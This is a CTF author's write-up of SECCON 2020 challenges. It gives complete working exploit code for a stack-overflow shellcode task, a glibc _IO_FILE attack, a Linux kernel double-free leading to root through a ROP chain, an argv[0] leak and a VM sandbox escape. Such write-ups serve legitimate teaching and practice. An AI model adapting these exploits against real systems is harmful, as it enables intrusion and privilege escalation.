CTFするぞ

CTF以外のことも書くよ

SECCON 2020 Online CTF Writeup

I wrote some challenges for this year's SECCON CTF. SECCON was famous for providing some crappy challenges but they eliminated those crappy-challenge authors this year XD

Congratulations to HangulSarang, perfect blue, and MSLC!

f:id:ptr-yudai:20201011203711p:plain

Thank you for playing the CTF and I'm glad if you enjoyed the challenges. I'm really looking forward to reading your write-ups too!

The tasks and solvers are available here:

bitbucket.org

[pwn 123pts] pwarmup (63 solves)

Vulnerability

An ELF binary and its source code are given.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   69 Symbols     No       0               0       chall

The vulnerability is a simple stack overflow.

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

Exploit

The only hard part is that stdout is closed before return. However, we can run our shellcode since NX is disabled. You can receive the output by the following ways, for example:

  • Execute /bin/sh and run commands like ls>&0 (only when it's over sockets)
  • Call dup2 on stdin and re-create stdout (only when it's over sockets)
  • Run reverse shell

Be noticed that you can't use "whitespace" characters because the program uses scanf with %s specifier.

import os
from ptrlib import *

HOST = os.getenv('HOST', '153.120.170.218')
PORT = os.getenv('PORT', '9001')

rop_pop_rdi = 0x004007e3
rop_pop_rsi_r15 = 0x004007e1

addr_shellcode = 0x600800
addr_scanf = 0x4005c0
addr_ps = 0x40081b

#sock = process("../files/chall")
sock = remote(HOST, int(PORT))

shellcode = nasm(
    """
    xor edx, edx
    push rdx
    call arg2
    db "cat${IFS}flag*>&0", 0
arg2:
    call arg1
    db "-c", 0
arg1:
    call arg0
    db "/bin/bash", 0, 0, 0, 0, 0
arg0:
    pop rdi
    push rdi
    mov rsi, rsp
    mov eax, 59
    syscall  ; execve
    xor edi, edi
    mov eax, 60
    syscall  ; exit
    """,
    bits=64
)

sock.recvline()
payload  = b'A' * 0x28
payload += p64(rop_pop_rdi)
payload += p64(addr_ps)
payload += p64(rop_pop_rsi_r15)
payload += p64(addr_shellcode)
payload += p64(0xdeadbeef)
payload += p64(addr_scanf)
payload += p64(addr_shellcode)
assert not has_space(payload)
sock.sendline(payload)

assert not has_space(shellcode)
sock.sendline(shellcode)

sock.interactive()

[pwn 227pts] lazynote (16 solves)

Vulnerability

An ELF and libc binary are given.

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   79 Symbols     Yes      0               4       chall

The vulnerability is off-by-X(?).

buf = malloc(value1)
fgets(buf, value less than value1, stdin);
buf[value2] = 0;

Exploit

First of all, we have to leak the libc address. We call malloc with a large size to make it call mmap to create a chunk before the libc region. Then we can put 0x00 to somewhere in libc due to the vulnerability.

With this primitive, we overwrite _IO_read_end and _IO_write_base of _IO_2_1_stdout_ to get libc leak. (Because libc misunderstands the base address of buffering.)

Secondly, we overwrite _IO_buf_base of _IO_2_1_stdin_ to get "overwrite stdin" primitive. The next fgets uses the address of _IO_buf_base as the starting point. By changing the first byte into null, we can overwrite the head of stdin.

After we forge _IO_buf_base, we can overwrite stdin region, which allows us to fully overwrite _IO_read_ptr, _IO_read_end, and _IO_read_base. These members points to the address of the buffering cursor and so on. Finally we get AAW primitive.

You can abuse _IO_FILE to execute the shell since the server uses libc-2.27.

from ptrlib import *
import time
import os

def new(size, offset, data, quiet=False):
    if quiet:
        sock.sendline("1")
        sock.sendline(str(size))
        sock.sendline(str(offset))
        sock.sendline(data)
    else:
        sock.sendlineafter("> ", "1")
        sock.sendlineafter(": ", str(size))
        sock.sendlineafter(": ", str(offset))
        sock.sendlineafter(": ", data)

HOST = os.getenv("HOST", "153.120.170.218")
PORT = os.getenv("PORT", "9003")
        
libc = ELF("../files/libc-2.27.so")
#sock = Process("../files/chall")
sock = Socket(HOST, int(PORT))

# make chunk adjacent to libc
base = 0x200000
space = (base + 0x1000) * 1 - 0x10
new(base, space + libc.symbol('_IO_2_1_stdout_') + 0x10 + 1, 'A')
space = (base + 0x1000) * 2 - 0x10
new(base, space + libc.symbol('_IO_2_1_stdout_') + 0x20 + 1, 'A', quiet=True)
libc_base = u64(sock.recvline()[0x08:0x10]) - 0x3ed8b0
logger.info("libc = " + hex(libc_base))

# get the shell!
space = (base + 0x1000) * 3 - 0x10
new(base, space + libc.symbol('_IO_2_1_stdin_') + 0x38 + 1, 'A')

payload = p64(0xfbad208b)
payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_') + 0xd8)
payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_')) * 6
payload += p64(libc_base + libc.symbol('_IO_2_1_stdout_') + 0x2000)
payload += b'\0' * (8*7 + 4) # padding
new_size = libc_base + next(libc.find("/bin/sh"))
payload += p64(0xfbad1800)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64((new_size - 100) // 2) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.symbol("_IO_2_1_stdin_"))
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0)
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + 0x3e8360) # _IO_str_jumps
payload += p64(libc_base + libc.symbol("system"))
payload += p64(libc_base + libc.symbol("_IO_2_1_stdout_"))
payload += p64(libc_base + libc.symbol("_IO_2_1_stdin_"))
sock.sendlineafter("> ", payload)

sock.interactive()

[pwn 393pts] kstack (4 solves)

Vulnerability

This is a kernel exploit challenge. The vulnerability is a race condition.

  case CMD_POP:
    for(tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd) {
      if (tmp->owner == pid) {
        if (copy_to_user((void*)arg, (void*)&tmp->value, sizeof(unsigned long)))
          return -EINVAL;
        if (prev) {
          prev->fd = tmp->fd;
        } else {
          head = tmp->fd;
        }
        kfree(tmp);
        break;
      }
      if (tmp->fd == NULL) return -EINVAL;
    }
    break;

The program doesn't use mutex and CMD_POP theoretically causes double free if two threads tries to pop a value at once. However, causing such a race stably is next to impossible. The intended solution is use userfaultfd to stop a thread in copy_to_user, with which we can get double free with 100% probability.

Exploit

After we cause double free, we can leak the kernel base from seq_operations or whatever. You can use CMD_POP to leak the address. However, CMD_PUSH is not useful to write data. So, after the second double free, I used setxattr to inject data into the freed chunk. seq_operations has a vtable and I overwrite it with stack pivot (because SMAP is disabled.)

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <poll.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/un.h>
#include <sys/xattr.h>
#include "userfaultfd.h"

unsigned long addr_single_stop = 0x13be80;
unsigned long stack_pivot = 0x02cae0;
unsigned long rop_pop_rdi = 0x034505;
unsigned long rop_pop_rcx = 0x038af4;
unsigned long rop_mov_rdi_rax_pop_rbp = 0x01877f;
unsigned long rop_usermode = 0x600a4a;
unsigned long commit_creds = 0x069c10;
unsigned long prepare_kernel_cred = 0x069e00;

unsigned long kbase, kheap;
unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
  asm("movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

static void win() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

int fd;
void push(void *addr) {
  printf("[+] push = %d\n", ioctl(fd, 0x57ac0001, (unsigned long)addr));
}
void pop(void *addr) {
  printf("[+] pop = %d\n", ioctl(fd, 0x57ac0002, (unsigned long)addr));
}
void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int spray[0x100];
int victim;
static int page_size;
static void *fault_handler_thread(void *arg) {
  unsigned long value;
  static struct uffd_msg msg;
  static int fault_cnt = 0;
  long uffd;
  static char *page = NULL;
  struct uffdio_copy uffdio_copy;
  int len, i;

  if (page == NULL) {
    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
  }

  uffd = (long)arg;

  for(;;) {
    struct pollfd pollfd;
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    len = poll(&pollfd, 1, -1);
    if (len == -1) fatal("poll");

    printf("[+] fault_handler_thread():\n");
    printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %d\n", len,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

    len = read(uffd, &msg, sizeof(msg));
    if (len == 0) fatal("userfaultfd EOF");
    if (len == -1) fatal("read");
    if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");

    printf("[+] UFFD_EVENT_PAGEFAULT event: \n");
    printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
    printf("    address = 0x%lx\n", msg.arg.pagefault.address);

    switch(fault_cnt) {
    case 0:
      // double free (caused by pop)
      pop(&value);
      printf("[+] popped: %016lx\n", value);
      break;
    case 1:
      // overlap Element and seq_operations (caused by push)
      pop(&value);
      printf("[+] popped: %016lx\n", value);
      kbase = value - addr_single_stop;
      break;
    case 2:
      // double free (caused by pop)
      pop(&value);
      printf("[+] popped: %016lx\n", value);
      break;
    case 3:
      // overlap seq_operations and setxattr buffer (cause by setxattr)
      victim = open("/proc/self/stat", O_RDONLY);
      printf("[+] victim fd: %d\n", victim);
      break;
    default:
      puts("ponta!");
      getchar();
      break;
    }

    // return to kernel-land
    uffdio_copy.src = (unsigned long)page;
    uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
    uffdio_copy.len = page_size;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
    printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy);
    fault_cnt++;
  }
}

void setup_pagefault(void *addr, unsigned size) {
  long uffd;
  pthread_t th;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // new userfaulfd
  page_size = sysconf(_SC_PAGE_SIZE);
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) fatal("userfaultfd");

  // enabled uffd object
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl: UFFDIO_API");

  // register memory address
  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len   = size;
  uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("ioctl: UFFDIO_REGITER");

  // monitor page fault
  s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
  if (s != 0) fatal("pthread_create");
}

/*
 * entry point
 */
int main(void) {
  unsigned long value;
  save_state();

  for(int i = 0; i < 0x100; i++) {
    spray[i] = open("/proc/self/stat", O_RDONLY);
  }

  // Allocate memory for userfaultfd
  void *pages = (void*)mmap((void*)0x77770000,
                            0x4000,
                            PROT_READ | PROT_WRITE,
                            MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                            -1, 0);
  if ((unsigned long)pages != 0x77770000) fatal("mmap (0x77770000)");

  // Open vulnerable driver
  fd = open("/proc/stack", O_RDONLY);
  if (fd < 0) fatal("/proc/stack");

  setup_pagefault(pages, 0x4000);

  // Cause double free
  value = 0xcafebabe;
  push(&value);
  pop(pages); // this command stops by userfaultfd
  usleep(300);

  // Leak kbase
  victim = open("/proc/self/stat", O_RDONLY);
  push((void*)((unsigned long)pages + 0x1000));
  usleep(300);
  printf("[+] kbase = 0x%016lx\n", kbase);

  // Cause double free again
  value = 0xdeadbeef;
  push(&value);
  pop((void*)((unsigned long)pages + 0x2000));
  usleep(300);

  // RIP control primitive
  memset((void*)((unsigned long)pages + 0x3000 - 0x20), 'A', 0x20);
  memset((void*)((unsigned long)pages + 0x3000 - 0x18), 'B', 0x20);
  memset((void*)((unsigned long)pages + 0x3000 - 0x10), 'C', 0x20);
  memset((void*)((unsigned long)pages + 0x3000 - 0x08), 'D', 0x20);
  *(unsigned long*)((unsigned long)pages + 0x3001 - 0x8) = kbase + stack_pivot;
  setxattr("/tmp", "seccon",
           (void*)((unsigned long)pages + 0x3001 - 0x20),
           0x20, XATTR_CREATE);
  usleep(300);

  // Prepare ROP chain
  unsigned long *chain = (unsigned long*)mmap((void*)0x5d000000 - 0x8000,
                                              0x10000,
                                              PROT_READ | PROT_WRITE,
                                              MAP_SHARED | MAP_ANON | MAP_POPULATE,
                                              -1, 0);
  chain += 0x8000 / sizeof(unsigned long);
  *chain++ = 0xdeadbeef;
  *chain++ = 0xcafebabe;
  *chain++ = kbase + rop_pop_rdi;
  *chain++ = 0;
  *chain++ = kbase + prepare_kernel_cred;
  *chain++ = kbase + rop_pop_rcx;
  *chain++ = 0;
  *chain++ = kbase + rop_mov_rdi_rax_pop_rbp;
  *chain++ = 0xc0bebeef;
  *chain++ = kbase + commit_creds;
  *chain++ = kbase + rop_usermode;
  *chain++ = 0;
  *chain++ = 0;
  *chain++ = (unsigned long)win;
  *chain++ = user_cs;
  *chain++ = user_rflags;
  *chain++ = 0x5d000000;
  *chain++ = user_ss;

  // Ignite!
  for(int i = 0; i < 0x100; i++) {
    close(spray[i]);
  }
  read(victim, (void*)0xdeadbeef, 0x99990000);

  return 0;
}

[pwn 470pts] encryptor (2 solves)

Vulnerability

PIE is disabled.

$ checksec -f encryptor
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   95 Symbols     Yes      4               8       encryptor

The goal of this challenge is leak the encryption key stored in .bss section. The vulnerability is obvious.

static error_t parse_opt(int opt, char *arg, struct argp_state *state)
{
  struct Arguments *args = state->input;

  switch(opt) {
  case 'i':
    /* get input filepath */
    strcpy(args->path_i, arg);
    break;

  case 'o':
    /* get output filepath */
    strcpy(args->path_o, arg);
    break;

  default:
    return ARGP_ERR_UNKNOWN;
  }

  return 0;
}

The filepath in argv may cause buffer overflow. We can't use the input filename as our target because of fortify. (I don't know the exact reason why input filename is fortified while output is not.)

Exploit

The idea of this challenge is argv[0] leak. The traditional argv[0] leak doesn't work in this version of libc. However, there's a path we can achieve argv[0] leak in any version of libc.

You get the following help message if we give unknown option.

$ ./encryptor --foo
./encryptor: unrecognized option '--foo'
Try `encryptor --help' or `encryptor --usage' for more information.

Here you see argv[0] is printed! You can check the source code:

code.woboq.org

So, we just have to cause stack overflow and overwrite argv[0] to secret.

However, there's another problem. Because this binary is 64-bit, the original value stored in argv[0] is a 48-bit address. We have to put the address of secret, which is 24-bit because PIE is disabled. Unfortunately, we can't simply put a 24-bit value here because of the following reason: - strcpy doesn't copy 0x00 - We can't put 0x00 in the argument

We take advantage of strcpy. strcpy terminates the string with NULL byte. So, if we give multiple -o options, we can create 3 bytes of 0x00.

i.e.

-o AAA...AAXYZ: [ ... | A | A | X | Y | Z | \x00 ]
-o AAA...AXYZ : [ ... | A | X | Y | Z | \x00 | \x00 ]
-o AAA...XYZ  : [ ... | X | Y | Z | \x00 | \x00 | \x00 ]

Here is the exploit including PoW solver and decryptor:

import os
from ptrlib import *
from Crypto.Cipher import AES

HOST = os.getenv('HOST', '153.125.128.105')
PORT = os.getenv('PORT', '9022')

sock = Socket(HOST, int(PORT))

import itertools
import hashlib
import string

table = string.ascii_letters + string.digits + "._"

r = sock.recvregex("sha256\(\"\?\?\?\?(.+)\"\) = ([0-9a-f]+)")
suffix = r[0].decode()
hashval = r[1].decode()
print(suffix, hashval)

for v in itertools.product(table, repeat=4):
    if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval:
        prefix = ''.join(v)
        print("[+] Prefix = " + prefix)
        break
else:
    print("[-] Solution not found :thinking_face:")

sock.sendline(prefix)

# Leak secret key
payload = [None, None, None]
for i in range(3):
    payload[i]  = b'A' * (0x22a - i)
    payload[i] += p64(0x602260)
    payload[i] = bytes2str(payload[i].strip(b'\x00'))

cmd  = "./encryptor "
cmd += "-o " + repr(payload[0]) + " "
cmd += "-o " + repr(payload[1]) + " "
cmd += "-o " + repr(payload[2]) + " "
cmd += "-x 2>&1 | xxd -ps"
sock.sendlineafter("$ ", cmd)

sock.recvline()
secret = bytes.fromhex(sock.recvonce(16*2).decode())
logger.info(b"secret = " + secret)
sock.close()

# Decrypt
with open("../files/flag.enc", "rb") as f:
    cipher = f.read()
    aes = AES.new(secret, AES.MODE_ECB)
    print(aes.decrypt(cipher).decode())

[rev 129pts] SCSBX:Reversing (56 solves)

You're given an open-sourced VM of a stack machine. You can easily write a disassembler and add debug function into source code.

The encryption (actually encode) scheme is based on a simple feistel block cipher. The encryption key is generated by fixed PRNG. F-function is xor+not.

This is my decoder:

from ptrlib import *

cipher = b'#\x12vF\xc5\xa5\xbeT\xf6\xe8"z\xc9\x93\xb4]^\x17]\x053\xcd/\x02\xe6k\xc4B\xe8\xa0\x10mx\xc2\xf4S*\xecyr9\xfb\x91T\x1fB\xacI7:\xabI\x12X\x85G\x05\xbb\x18W[\xfb@\x05'

key = 0x6d35bcd
def f(x):
    global key
    key = ((key * 0x77f - 0x32a) % 0x100000000) % 0x305eb3ea
    return 0xffffffff ^ key ^ x

def decrypt(s):
    output = b''
    for block in chunks(s, 8, b'\x00'):
        a, b = u32(block[0:4]), u32(block[4:8])
        for i in range(3):
            a, b = b, a ^ f(b)
        output += p32(a) + p32(b)
    return output

print(decrypt(cipher))

[rev 365pts] SCSBX:Escape (5 solves)

Vulnerability

You can escape from SCSBX. To summerize, there are at least 3 intended bugs in SCSBX:

  • The guard page is unmappable
    • The guard page is appended to memmap vector when SCSBX instance is created
    • This prevents mmap but unmap doesn't check if the page actually exists
  • push doesn't check stack boundary, which causes "stack" overflow
    • As the document says, this bug was supposed to be prevented by the guard page
    • As we can unmap the guard page and re-map the page, we can push out of 32-bit address
  • loadXX and storeXX does check the start address but doesn't check the end address
    • Instructions like load64(0xfffffffe) works.
    • At 0x100000000 exists the vtable of the VM instance

Exploit

The flow of the exploit:

  1. Unmap the guard page
  2. Re-map a page at 0xfffff000 and consolidate the stack with the VM instance
  3. Prepare a fake std::vector<std::pair> and put data like [(0xfffffff0, 0x10000)]
  4. Call load64 to leak vtable, with which we can calculate the PIE base
  5. Push many times to cause "stack" overflow
  6. Push on the VM instance and corrupt memmap to the fake vector prepared in 2
  7. Now read/write works on some addresses above 0xffffffff thanks to the fake memmap
  8. Overwrite the stack base to an address near GOT, the stack top to the bss section, respectively
  9. Use dup to copy the libc address from GOT (xchg doesn't work because RELRO is enabled)
  10. Overwrite vtable to a fake one
  11. BOOM

Exploit assembly:

_start:
  ;; unmap guard page
  push 0xffff0000
  sys_unmap

  ;; consolidate with stack
  push 0x0000ffff
  push 0xffff0000
  sys_map

  ;; leak proc address
  push 0xfffffffe
  load64
  push 0xffff0000
  store32
  push 0xffff0004
  store32
  push 0x8
  push 0xffff0000
  sys_write

  ;; fill stack
  push 0x7ffa
  push CmpFill
  jmp
LpFill:
  push 0
  dup
  push 1
  push 1
  xchg
  sub
CmpFill:
  push 0
  dup
  push 0
  push LpFill
  push BrkFill
  jeq
BrkFill:
  ;; get correct vtable address
  push 0x8
  push 0xffffffe8
  sys_read
  ;; inject fake vector
  push 0x10
  push 0xfffff000
  sys_read

  push 0xdeadbeef
  push 0xcafebabe
  push 0xdeadbeef
  push 0xcafebabe
  ;; vtable
  push 5
  dup
  push 5
  dup
  ;; std::vector
  push 0xfffff000               ; begin
  push 0
  push 0xfffff010               ; cur
  push 0
  push 0xfffff100               ; end
  push 0
  ;; pc
PC:
  push PC
  ;; status
  push 0
  ;; code
  push 0x55540000
  push 0
  ;; stack
  push 0xfffe0000
  push 0
  ;; code_size
  push 0x7777
  ;; capacity
  push 0xffffffff
  ;; top
  push 0x8010

  ;; inject fake SCSBX instance
  push 0x54
  push 0xfffffff0
  sys_read

  push 0xc0b3beef               ; marker

  ;; now stack == proc_base
  push 195
  dup
  push 195
  dup
  push 0xffff0004
  store32
  push 0xffff0000
  store32

  ;; leak libc address
  push 0x8
  push 0xffff0000
  sys_write

  ;; inject fake SCSBX instance
  push 0x100
  push 0xfffffff0
  sys_read

  push 0xfeedface               ; marker

  ;; __assert_range_valid
  push 0                        ; create constraints for one gadget
  push 0
  push 0
  push 0
  push 0xffff0000               ; rdx = rbp
  push 0                        ; rsi
  sys_write

  push 0
  sys_exit

Exploit listener including PoW solver:

from ptrlib import *
import os

os.system("python assemble.py exploit.S")
with open("output.bin", "rb") as f:
    code = f.read()

HOST = os.getenv("HOST", "153.120.170.218")
PORT = os.getenv("PORT", "19001")

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("../files/scsbx")
libc = ELF("../files/libc-2.31.so")
sock = Socket(HOST, int(PORT))
ofs_vtable = 0x203c68

import itertools
import hashlib
import string

table = string.ascii_letters + string.digits + "._"

r = sock.recvregex("sha256\(\"\?\?\?\?(.+)\"\) = ([0-9a-f]+)")
suffix = r[0].decode()
hashval = r[1].decode()
print(suffix, hashval)

for v in itertools.product(table, repeat=4):
    if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval:
        prefix = ''.join(v)
        print("[+] Prefix = " + prefix)
        break
else:
    print("[-] Solution not found :thinking_face:")

sock.sendlineafter(": ", prefix)

sock.sendlineafter(": ", str(len(code)))
sock.sendafter(": ", code)

# leak proc base
proc_base = (u64(sock.recv(8)) >> 16) - ofs_vtable
logger.info("proc = " + hex(proc_base))

# inject address into stack
sock.send(p64(proc_base + ofs_vtable))

# inject fake vector of pair
fake_vector  = p64(0xfffe0000) # address
fake_vector += p64(0xffffffff) # size
sock.send(fake_vector)

# inject fake SCSBX
fake_scsbx  = p64(0) * 2
fake_scsbx += p64(proc_base + ofs_vtable) # vtable
fake_scsbx += p64(0xfffff000) # std::vector<std::pair>
fake_scsbx += p64(0xfffff010)
fake_scsbx += p64(0xfffff100)
fake_scsbx += p64(code.find(p32(0xc0b3beef)) + 3) # pc, status
fake_scsbx += p64(0x55540000) # code
fake_scsbx += p64(proc_base) # stack
fake_scsbx += p32(0x1000) + p32(0xf000) # code_size, capacity
fake_scsbx += p32(0x810a0 - 1) # top
sock.send(fake_scsbx)

# leak libc base
libc_base = u64(sock.recv(8)) - libc.symbol("read")
logger.info("libc = " + hex(libc_base))

# inject fake SCSBX
fake_scsbx  = p64(0) * 2
fake_scsbx += p64(0x100000050) # vtable
fake_scsbx += p64(0xfffff000) # std::vector<std::pair>
fake_scsbx += p64(0xfffff010)
fake_scsbx += p64(0xfffff100)
fake_scsbx += p64(code.find(p32(0xfeedface)) + 3) # pc, status
fake_scsbx += p64(0x55540000) # code
fake_scsbx += p64(0xffff0000 - 4) # stack
fake_scsbx += p32(0x1000) + p32(0xf000) # code_size, capacity
fake_scsbx += p64(0) + p64(0) # top
# fake vtable
fake_scsbx += p64(0xffffffffdeadbee0)
fake_scsbx += p64(libc_base + 0xe6e79) # __assert_range_valid
sock.send(fake_scsbx)

sock.interactive()

Other tasks

I solved some tasks that other members created. When I reviewed them, I wrote Japanese write-ups. Some tasks were modified after my review and there might be tiny differences in the writeups.

pincette

indirect jumpの先がendbr64を見るだけのCETの下位互換的な(それでも強い)PIN tool。 libcのロードアドレスを指定できたり、CETっぽいのにlibcやバイナリにはendbr64が付いてなかったり、よく分からんシチュエーションながらもパズルとしてはよくできていた。

hackmd.io

Yet Another PySandbox

Pythonバイトコードをぶっ壊す問題。 運営中はちょくちょく面白い非想定解が飛んできて笑顔になってた。

hackmd.io

kvdb

Garbage Collectionの問題。 レビュー当初はソースコード配布されていなかったのでお願いしてソースコード配布してもらった。 にも関わらず全然解かれてないのはなんで? 面白いから解きなさい。

hackmd.io